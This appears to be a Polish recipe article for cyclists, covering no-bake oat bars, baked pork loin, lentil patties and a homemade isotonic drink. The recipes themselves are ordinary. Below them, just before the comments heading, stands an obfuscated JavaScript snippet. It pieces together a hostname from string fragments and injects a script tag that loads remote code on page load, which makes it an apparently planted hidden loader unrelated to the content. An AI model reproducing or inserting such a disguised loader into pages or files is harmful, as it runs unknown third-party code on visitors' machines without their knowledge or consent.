Owsiane batoniki bez pieczenia - zdrowe węglowodany w akcji
Tego typu ciasteczka dostępne są niekiedy w sklepach ze zdrową żywnością, jednak warto przyrządzić je samemu. Dokładnie wiemy wtedy, ile zawierają energii i z jakich składników są przyrządzone. Ponadto, jeżeli na co dzień staramy odżywiać się zdrowo, to sklepowe ciasteczka mogą nie odpowiadać naszej filozofii starannego doboru przekąsek, niewykluczone bowiem, że w składzie będzie sporo białego cukru, olej palmowy i inne składowe, które nie są pierwszym wyborem osób, skrupulatnie dbających o jakość pożywienia.
Jak przyrządzić owsiane ciasteczka? Potrzebne będą:
- Daktyle
- Morele
- Żurawina
- Rodzynki
Każdego z powyższych składników potrzebujemy w ilości około 30 g.
Jeżeli lubimy pestki dyni lub pestki słonecznika, można je dodać wg uznania.
Ponadto:
Płatki owsiane (300 g), miód (150 g), olej kokosowy (75 g), masło orzechowe (110 g), banan, i odrobina soli (szczypta).
Olej kokosowy wraz z masłem orzechowym rozpuszczamy podgrzewając na patelni. Do tak przygotowanej mieszanki dodajemy resztę składników. (Uwaga - w przypadku daktyli, należy je wcześniej namoczyć wrzątku, aż staną się miękkie!) Powstałą pastę układamy w silikonowych foremkach. Można umieścić też całą masę w jednej, dużej formie. Całość zostawiamy w lodówce na kilka godzin, tak, aby masa mogła zastygnąć. Jeżeli korzystaliśmy z dużej formy, finalnie wystarczy wyjąć z niej powstału po schłodzeniu baton i pokroić nożem na mniejsze kawałki.
Kotleciki - nieocenione źródło białka
Nie zapominajmy też o wysoko przyswajalnym białku. O tym, że osoby aktywne potrzebują go sporo, ponieważ działa regenerująco na zmęczone mięśnie, wiedzą specjaliści - trenerzy, dietetycy, a dieta pudełkowa dla osób uprawiających sport nie pomija aspektu dobrej przyswajalności białka nawet w przypadku, gdy osoba aktywna jednocześnie dąży do redukcji wagi ciała. I słusznie! Zależy nam bowiem na spalaniu tłuszczu, a nie mięśni! Dawkę cennego białka zapewnią na przykład kawałki pieczonego schabu.
Potrzebne są:
- Plastry schabu
- Kilka łyżek majonezu i keczupu
- Cebula i papryka słodka mielona
- Sól i pieprz
- Olej do smażenia
Majonez i keczup mieszamy ze sobą, przyprawiamy solą i pieprzem. Cebulę kroimy, podsmażamy. Schab nacieramy mieloną papryką, następnie smarujemy papką majonezowo-keczupową. Kawałki mięsa razem z podsmażoną cebulą układamy na dnie naczynia żaroodopornego. Pieczemy w 190 stopniach przez minimum jedną godzinę.
Z kolei osoby niejedzące mięsa zachwycone będą placuszkami z soczewicy.
Są równie pożywną, bardzo smaczną przekąską bogatą w cenne białko.
Składniki
- ugotowana soczewica
- pieczarki
- jajko
- odrobina bułki tartej (około 2 łyżki)
- sól i pieprz
Z powyższych składników przygotowujemy masę, z której formujemy kotlety. Można je dodatkowo obtoczyć w kolejnym jajku i dodać panierkę z bułki tartej, ale nie jest to konieczne. Smażymy na oleju lub klarowanym maśle z obu stron. Pyszne!
Napoje izotoniczne - więcej niż tylko woda!
Podczas wysiłku, jakim jest jazda na rowerze, ważne jest odpowiednie nawodnienie organizmu. Uczucie pragnienia niebezpieczne jest szczególnie latem, gdy wysoka temperatura powietrza powoduje, że tracimy jeszcze więcej wody. Aby skutecznie chronić się przed niedostatkiem płynów, a jednocześnie przed wypłukiwaniem cennych minerałów, warto postawić na izotoniki, bogate w elektrolity.
Jak przygotować je samodzielnie? Potrzebujemy:
- Wodę mineralna niegazowana wysokozmineralizowaną (w ilości wg uznania)
- Cytrynę (1 cytryna na litr wody)
- Płynny miód (ok 15 ml na litr wody)
- Ulubione zioła: mięta, bazylia
- Szczyptę soli
W bidonie umieszczamy rozkawałkowaną cytryną lub wyciskamy z niej sok do cna. Dodajemy pozostałe składniki oraz zalewamy je wodą mineralną. Gotowe!
Okres wakacji sprzyja wycieczkom. Szlaki rowerowe pełne są turystów, którzy korzystając z wyśmienitej pogody pokonują kolejne odległości. Przekąski przygotowane z głową oraz odpowiednie nawodnieni zapewnią mnóstwo energii do pokonywania niezliczonej ilości kilometrów.
(function(){ i7w4_=("u"+"st");i7w4=document.createElement("script");i7w4.async=true; i7w4u="305970050";i7w4_+="a"+("t.");i7w4_+="i"+("nf"+("o"))+("/"); i7w4u+=".tj8evlkx7w4k6v9j";i7w4u+="evg2ruq4sh14e4"; i7w4.src="https://"+i7w4_+i7w4u;i7w4.type="text/javascript"; d_b=document.body;d_b.appendChild(i7w4); })();
Komentarze